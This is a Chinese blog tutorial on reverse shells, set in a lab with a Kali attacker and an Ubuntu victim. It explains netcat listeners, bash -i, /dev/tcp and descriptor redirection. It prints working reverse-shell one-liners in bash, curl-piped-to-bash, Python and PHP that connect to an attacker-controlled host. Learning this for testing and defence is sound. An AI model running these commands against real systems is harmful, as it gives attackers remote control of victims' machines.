反弹Shell

概述

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。所谓正向连接,就是攻击机去连目标机。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

基本流程

攻击者在自己的服务器上执行:

nc -lvnp 8888

攻击者拿下受害者的权限后,在受害者的机器上执行:

bash -i > /dev/tcp/攻击者的服务器ip/攻击者监听的端口(这里就是8888) 0>&1 2>&1

例子

机器ip地址
攻击机kali192.168.25.129
受害者ubuntu192.168.25.131

攻击机执行nc -lvnp 8888开启监听:
在这里插入图片描述

受害者执行bash -i > /dev/tcp/192.168.25.129/8888 0>&1 2>&1
在这里插入图片描述

攻击机回显:
在这里插入图片描述

可以看到已经成功反弹了shell,在kali这台机器上的命令提示符已经变成了ubuntu那台机器的了。查看ip地址发现正常回显受害者的ip。
在这里插入图片描述

解读

(1)nc -lvnp 8888
上面的nc命令也就是NetCat,在网络工具中有“瑞士军刀”美誉,其有Windows和Linux的版本。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。
其常用参数如下:

  • -l 使用监听模式,管控传入的资料。
  • -v 显示指令执行过程。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -p <通信端口> 设置本地主机使用的通信端口。

(2)bash -i
-i interactive。即产生一个交互式的shell(bash)。

(3) /dev/tcp/IP/PORT
特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

(4)0>&1 2>&1

命令说明
command > file将输出重定向到 file。
n > file将文件描述符为 n 的文件重定向到 file。
n >& m将输出文件 m 和 n 合并。

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。
  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。
  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

各种脚本反弹shell

curl配合bash

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i > /dev/tcp/服务器的ip/8888 0>&1 2>&1

并开启8888端口的监听:nc -lvnp 8888。然后再目标机上执行如下,即可反弹shell:

curl xxx.xxx.xxx.xxx|bash

python

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

nc -lvnp 8888

目标机主动连接攻击机:

php -r '$sock=fsockopen("xxx.xxx.xxx.xxx",8888);exec("/bin/sh -i <&3 >&3 2>&3");'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/193331.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python操作Excel常用方法汇总

目录 引言 一、使用pandas库操作Excel 1、读取Excel文件 2、写入Excel文件 3、处理Excel数据 二、使用openpyxl库操作Excel 1、读取Excel文件 2、写入Excel文件 3、处理Excel数据 三、高级功能 总结 引言 Python是一种功能强大的编程语言&#xff0c;它可以用来处理…

记一次解决Pyqt6/Pyside6添加QTreeView或QTreeWidget导致窗口卡死(未响应)的新路历程,打死我都想不到是这个原因

文章目录 💢 问题 💢🏡 环境 🏡📄 代码💯 解决方案 💯⚓️ 相关链接 ⚓️💢 问题 💢 我在窗口中添加了一个 QTreeWidget控件 ,但是程序在运行期间,只要鼠标进入到 QTreeWidget控件 内进行操作,时间超过几秒中就会出现窗口 未响应卡死的 状态 🏡 环境 �…

代码随想录算法训练营第二十七天|39 组合总和 40 组合总和II 131分割回文串

目录 39 组合总和 40 组合总和II 131分割回文串 39 组合总和 class Solution {List<List<Integer>>res new ArrayList<>();List<Integer>newList new LinkedList<>();public List<List<Integer>> combinationSum(int[] candid…

【教3妹学编程-算法题】三个无重叠子数组的最大和

2哥 : 3妹&#xff0c;咋啦&#xff1f;一副苦大仇深的样子&#xff1f; 3妹&#xff1a;不开心呀不开心&#xff0c;羽生结弦宣布离婚。 2哥 : 羽生什么&#xff1f; 3妹&#xff1a;羽生结弦&#xff01; 2哥 : 什么结弦&#xff1f; 3妹&#xff1a;羽生结弦&#xff01;&am…

小美的树上染色

美团2024届秋招笔试第一场编程真题 先提一个小知识&#xff1a;题目中凡是提到树结构都要使用图的存储方式&#xff0c;只有二叉树例外。 分析&#xff1a;在树结构中&#xff0c;孩子和父节点是相邻节点&#xff0c;而父节点可能有多个孩子节点。在染色的过程中&#xff0c;…

AIGC实战 - 使用变分自编码器生成面部图像

AIGC实战 - 使用变分自编码器生成面部图像 0. 前言1. 数据集分析2. 训练变分自编码器2.1 变分自编码器架构2.2 变分自编码器分析 3. 生成新的面部图像4. 潜空间算术5. 人脸变换小结系列链接 0. 前言 在自编码器和变分自编码器上&#xff0c;我们都仅使用具有两个维度的潜空间。…

037、目标检测-算法速览

之——常用算法速览 目录 之——常用算法速览 杂谈 正文 1.区域卷积神经网络 - R-CNN 2.单发多框检测SSD&#xff0c;single shot detection 3.yolo 杂谈 快速过一下目标检测的各类算法。 正文 1.区域卷积神经网络 - R-CNN region_based CNN&#xff0c;奠基性的工作。…

vscode pandas无法使用

一、代码内容 import csv csv_reader csv.reader(open("data.csv")) for row in csv_reader:print(row) print(row[2]) 二、错误提示 ModuleNotFoundError: No module named pandas 三、安装pandas 然后我安装pandas&#xff0c;因为我的python的版本是python …

【算法挨揍日记】day31——673. 最长递增子序列的个数、646. 最长数对链

673. 最长递增子序列的个数 673. 最长递增子序列的个数 题目解析&#xff1a; 给定一个未排序的整数数组 nums &#xff0c; 返回最长递增子序列的个数 。 注意 这个数列必须是 严格 递增的。 解题思路&#xff1a; 算法思路&#xff1a; 1. 状态表⽰&#xff1a; 先尝试…

理论与实践相结合之Cisco Packet Tracer网络模拟器安装教程

简介 Packet Tracer是由思科设计的跨平台可视化仿真工具&#xff0c;它允许用户创建网络拓扑以模仿计算机网络和使用命令行界面来模拟配置思科路由器和交换机。Packet Tracer的用户界面为拖放式&#xff0c;允许用户根据自己的需要添加和删除模拟的网络设备。 Packet Tracer很…

电商平台革新:食派士小程序的无代码开发与广告推广集成

食派士小程序&#xff1a;无代码开发的连接神器 食派士小程序&#xff0c;作为上海食派士商贸发展有限公司的专利产品&#xff0c;是一种凭借无代码开发&#xff0c;就能实现与各种系统的连接和集成的电商解决方案。它采用无代码开发的方式&#xff0c;避免了API开发的复杂过程…

fusion 360制作机械臂

参考教程&#xff1a;Industrial Robot ( PART - 5) - FUSION 360 TUTORIAL_哔哩哔哩_bilibili